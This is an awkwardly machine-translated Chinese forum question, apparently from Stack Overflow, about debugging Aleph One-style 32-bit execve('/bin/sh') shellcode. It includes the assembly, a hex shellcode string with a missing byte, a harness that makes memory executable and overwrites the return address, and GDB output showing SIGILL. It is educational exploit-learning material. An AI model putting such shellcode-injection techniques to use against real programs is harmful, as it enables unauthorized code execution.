我试图执行smashing the stack for fun and profit by Aleph中给出的代码来学习缓冲区溢出攻击的基本知识。用于产生shell的十六进制代码实现
机架构:Ubuntu的12.10 64位
方案GCC
到目前为止,我已成功地产卵使用汇编指令的外壳采用-m32标志编译。下一步是将这些指令转换为十六进制代码,在那里我遇到了这个问题。 产生外壳的汇编代码:
void main() {
__asm__(
"Start:"
"jmp CallCode\n\t"
"CallPop:"
"popl %esi\n\t"
"movl %esi,0x8(%esp)\n\t"
"xorl %eax,%eax\n\t"
"movb %al,0x7(%esp)\n\t"
"movl %eax,0xc(%esp)\n\t"
"movb $0xb,%al\n\t"
"movl %esi,%ebx\n\t"
"leal 0x8(%esp),%ecx\n\t"
"leal 0xc(%esp),%edx\n\t"
"int $0x80\n\t"
"xorl %ebx,%ebx\n\t"
"movl %ebx,%eax\n\t"
"inc %eax\n\t"
"int $0x80\n\t"
"CallCode:"
"call CallPop\n\t"
".string \"/bin/sh\"\n\t"
); }
相应的十六进制代码:
#include <sys/mman.h>
#include<stdio.h>
#define PAGE_SIZE 4096U
char shellcode[]= "\xeb\x24\x5e\x89\x74\x24\x08\x31\xc0\x88\x44\x24\x07\x89\x44\x24\x0c\xb0"
"\x0b\x89\xf3\x8d\x4c\x24\x08\x8d\x54\x24\x0c\xcd"
"\x80\x31\x89\xd8\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
void test_shellcode() {
int *ret;
// The data section is non-executable
// Change protection bits for the page containing our shellcode
mprotect((void *)((unsigned int)shellcode & ~(PAGE_SIZE - 1)), 2 * PAGE_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC);
ret = (int*)((char *)&ret + 16);
(*ret) = (int)shellcode;
}
int main() {
test_shellcode();
return 0;
}
使用GDB调试分析的有点使我的结果:
(gdb) run
Starting program: /home/peps/CCPP/Hello/testsc3
Program received signal SIGILL, Illegal instruction.
0x0804a067 in shellcode()
(gdb) x/s 0x0804a067
0x804a067 <shellcode+39>: "\377\377\377/bin/sh"
应用断点后,我认为问题出在什么地方十六进制代码,我一直无法弄清楚。另外,我似乎并不了解这里的非法指令的背景。
任何帮助,将不胜感激。
'gdb'能够拆卸机器代码(例如,与'dis'或'X/i') – 2013-05-08 12:17:41
我已经使用拆机命令公平的次数,实际上它生成的汇编代码已经被使用第一个代码,并且在寻找返回地址方面也非常有用。但是如何利用它来查找十六进制代码中的问题,我在这里没有想法。 – Peps0791 2013-05-08 12:25:34